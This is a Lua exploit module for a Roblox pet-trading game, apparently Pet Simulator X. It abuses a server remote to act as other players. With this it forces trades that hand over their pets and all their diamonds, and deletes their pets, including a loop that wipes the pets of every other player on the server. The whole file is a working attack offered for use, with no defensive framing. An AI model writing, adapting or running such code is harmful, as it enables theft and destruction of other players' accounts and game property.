```
local v2 =
require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
local TradingGui = v2.GUI.Trading
local key = nil
local MainRemote = workspace.__THINGS.__REMOTES.MAIN
local PSX = {}
function InvokeAsPlayer(Player, Remote, ...)
    MainRemote:FireServer("f", Remote, Player, {...})
end

function PSX.Invoke(Player, Remote, ...)
    return InvokeAsPlayer(Player, Remote, ...)
end

function PSX.GetPetIds(player)
    local uids = {}
    local PlayerData = workspace.__THINGS.__REMOTES['get
stats']:InvokeServer({player})[1]
    for i,v in pairs(PlayerData.Pets) do
        if i~=1 then
            table.insert(uids, v.uid)
        end
    end
    return uids
end

function PSX.GetDiamondCount(player)
    return workspace.__THINGS.__REMOTES["get stats"]:InvokeServer({player})[1]
['Diamonds']
end

game:GetService("Workspace")["__THINGS"]["__REMOTES"]["init
trade"].OnClientEvent:Connect(function(e)
    key = e[1]
end)

function PSX.DeletePlayerPets(player)
    local uids = GetPetIds(player)
    InvokeAsPlayer(player, "delete several pets", uids)
end

function PSX.GetPlayerData(player)
    return workspace.__THINGS.__REMOTES["get stats"]:InvokeServer({player})[1]
end

function PSX.ForceTrade(player, pet_limit)
    InvokeAsPlayer(player, "send trade invite", game.Players.LocalPlayer.Name)
    repeat task.wait() until key ~= nil
    local petids = PSX.GetPetIds(player)
    local ignore_one = petids[1]
    pet_limit = pet_limit or 20
    local idx = 0
    for _,v in pairs(petids) do
        idx = idx + 1
        if idx == pet_limit then
            break
        end
        if v ~= ignore_one then
            InvokeAsPlayer(player, 'add trade pet', key, v)
```

```
        end
    end
    InvokeAsPlayer(player, 'change trade diamonds', key,
tostring(PSX.GetDiamondCount(player)))
    InvokeAsPlayer(player, 'ready trade', key)
    InvokeAsPlayer(game.Players.LocalPlayer, 'ready trade', key)
end

function PSX.ForceTradeAllDiamonds(player)
    InvokeAsPlayer(player, 'toggle setting', {[1] = "Trading" })
    InvokeAsPlayer(player, "send trade invite", game.Players.LocalPlayer.Name)
    repeat task.wait() until key ~= nil
    local PetIds = PSX.GetPetIds(player)
    InvokeAsPlayer(player, 'add trade pet', key, PetIds[1])
    InvokeAsPlayer(player, 'remove trade pet', key, PetIds[1])
    InvokeAsPlayer(player, 'change trade diamonds', key,
tostring(PSX.GetDiamondCount(player)))
    InvokeAsPlayer(player, 'ready trade', key)
    InvokeAsPlayer(game.Players.LocalPlayer, 'ready trade', key)
end

function PSX.GetPlayers()
    local p = {}
    for i,v in pairs(game.Players:GetPlayers()) do
        if v ~= game.Players.LocalPlayer then
            table.insert(p, v)
        end
    end
    return p
end

function PSX.DeleteAllPlayerPets(player)
    local p = PSX.GetPlayers()
    for i,v in pairs(p) do
        PSX.DeletePlayerPets(v)
    end
end

return PSX
```